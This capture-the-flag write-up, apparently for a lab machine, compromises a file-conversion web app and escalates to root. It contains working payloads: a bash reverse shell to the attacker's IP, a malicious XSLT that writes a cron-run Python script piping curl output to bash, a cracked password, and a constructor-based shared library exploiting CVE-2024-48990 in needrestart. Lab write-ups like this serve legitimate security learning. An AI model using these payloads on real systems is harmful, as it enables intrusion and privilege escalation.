Reconnaissance
TCP Scan
┌──(naclapor㉿kali)-[~/]
└─$
sudo nmap -sC -sV -O 10.10.11.92
└─$
Nmap scan report for 10.10.11.92
Host is up (0.088s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
I modify the hosts file to resolve the domain:
echo "10.10.11.92 conversor.htb" | sudo tee -a /etc/hosts
Enumeration
Port 80
Directory Fuzzing
┌──(naclapor㉿kali)-[~/]
└─$
gobuster dir -x .pdf -w /usr/share/wordlists/dirb/common.txt -u http://conversor.htb/
└─$
/about (Status: 200) [Size: 2842]
/javascript (Status: 301) [Size: 319] [--> http://conversor.htb/javascript/]
/login (Status: 200) [Size: 722]
/logout (Status: 302) [Size: 199] [--> /login]
/register (Status: 200) [Size: 726]
/server-status (Status: 403) [Size: 278]
Since the page loads slowly, I inspect the source code. In the source of http://conversor.htb/about, I find an interesting link: http://conversor.htb/static/source_code.tar.gz.
After downloading and analyzing the source code, I discover several important details.
Critical Finding 1: Cronjob
The source code reveals a cronjob that executes every minute as the www-data user:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
This cronjob automatically executes any Python file placed in the /var/www/conversor.htb/scripts/ directory.
Critical Finding 2: XSLT Processing Vulnerability
The application code that handles XSLT file uploads contains a security flaw:
# app.py (Extract from convert function)
from lxml import etree
# ...
# Saves the user-provided XSLT file. This is untrusted input.
xslt_file.save(xslt_path)
try:
# Creates parser for input XML (PARTIALLY secure)
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
# Loads XSLT file (NO restrictions or explicit parser)
xslt_tree = etree.parse(xslt_path)
# Executes XSLT transformation
transform = etree.XSLT(xslt_tree) # <<< This is the critical point
result_tree = transform(xml_tree)
After researching online, I discovered that when lxml (which is based on the C library libxml2) processes an XSLT stylesheet through the etree.XSLT() class, it enables several extensions by default, including EXSLT (Extensions to XSLT).
The EXSLT extension, specifically the namespace http://exslt.org/common, contains a function called document. This allows writing the transformation result to a file specified by the href attribute (which can accept an absolute path).
The absence of explicit security parameters when calling etree.XSLT() with an untrusted XSLT file indicates that dangerous extensions are active and can be exploited to write arbitrary files to the filesystem, bypassing the restrictions imposed on the input XML.
Exploit
Crafting the Attack
First, I create a reverse shell script:
# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.204/9001 0>&1
Then I start an HTTP server to host the shell script:
┌──(naclapor㉿kali)-[~/]
└─$
python3 -m http.server 8000
And set up a listener:
┌──(naclapor㉿kali)-[~/]
└─$
nc -lvnp 9001
Creating the XSLT Exploit
I create a malicious XSLT file that will write a Python script to the scripts directory. This Python script will download and execute my reverse shell.
shell.xslt:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:shell="http://exslt.org/common"
extension-element-prefixes="shell">
<xsl:template match="/">
<shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
<xsl:value-of select="'import os; os.system(\"curl 10.10.14.204:8000/shell.sh|bash\")'"/>
</shell:document>
</xsl:template>
</xsl:stylesheet>
dummy.xml:
<data></data>
Executing the Exploit
I create an account on http://conversor.htb/register and log in at http://conversor.htb/login.

On the main page at http://conversor.htb, I upload the files dummy.xml and shell.xslt, then click convert:

This writes the malicious Python script to /var/www/conversor.htb/scripts/shell.py. Within one minute, the cronjob executes it, and I receive a shell as the www-data user:


Post-Exploitation
From the source code, I had noted an interesting path:
/var/www/conversor.htb/instance/users.db
I start a Python HTTP server on the target machine and download the users.db file using wget on my attacking machine.
The database contains password hashes for various users:

The most interesting one is "fismathack", who has a home directory on the system.
I attempt to crack the hash using hashcat:
┌──(naclapor㉿kali)-[~/]
└─$
hashcat -a 0 -m 0 passwords.txt /usr/share/wordlists/rockyou.txt
I successfully crack the password for user fismathack:
5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
I log in via SSH:
┌──(naclapor㉿kali)-[~/]
└─$
ssh fismathack@10.10.11.92
This gives me access to the first flag!
Privilege Escalation
I check the sudo privileges for the user:
┌──(naclapor㉿kali)-[~/]
└─$
sudo -l
└─$
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
I identify the version of needrestart:
┌──(naclapor㉿kali)-[~/]
└─$
/usr/sbin/needrestart --version
└─$
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This is a vulnerable version. The exploit is documented at https://github.com/ten-ops/CVE-2024-48990_needrestart.
The /usr/sbin/needrestart command is designed to scan running processes and identify those still using old libraries after a system update.
When needrestart analyzes a process:
1. It determines if the process is an instance of Python (or another scripted language)
2. It attempts to inspect the environment of that process (including where it's searching for modules to import)
3. If PYTHONPATH is set to a malicious directory, needrestart will load our malicious library
Creating the Exploit
First, I create the C source code for a malicious shared library:
lib.c:
/* lib.c - Creates SUID Shell in /tmp/poc */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
// Constructor function: executed automatically when library is loaded
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Verify that process is root
setuid(0);
setgid(0);
// Payload: Copy /bin/sh to /tmp/poc and set SUID bit
const char *shell = "cp /bin/sh /tmp/poc; chmod u+s /tmp/poc;";
system(shell);
}
}
Compile the code:
┌──(naclapor㉿kali)-[~/]
└─$
gcc -shared -o __init__.so -fPIC lib.c
On the victim machine, I navigate to /tmp, create an exploit folder, and transfer the malicious library:
cd /tmp
mkdir exploit
curl http://10.10.14.204:8000/__init__.so -o /tmp/exploit/__init__.so
Initial Attempt (Failed)
I set the PYTHONPATH environment variable to point to the exploit directory and execute needrestart with sudo:
export PYTHONPATH=/tmp/exploit
sudo /usr/sbin/needrestart
This fails because needrestart doesn't find any active Python processes that it considers necessary to inspect or restart. Consequently, it never activates its Python environment analysis logic and never loads the malicious __init__.so library.
Successful Exploitation
I create a decoy Python process:
echo 'import time; time.sleep(3600)' > dummy.py
python3 dummy.py &
This process is essential because it provides needrestart with a concrete target to scan.
Now I execute needrestart with sudo again:
sudo /usr/sbin/needrestart
As soon as sudo needrestart runs, the C code inside __init__.so executes as root, creating the SUID shell in /tmp/poc.
Finally, I execute the SUID shell:
┌──(naclapor㉿kali)-[~/]
└─$
/tmp/poc -p
This gives me root access and I can retrieve the final flag!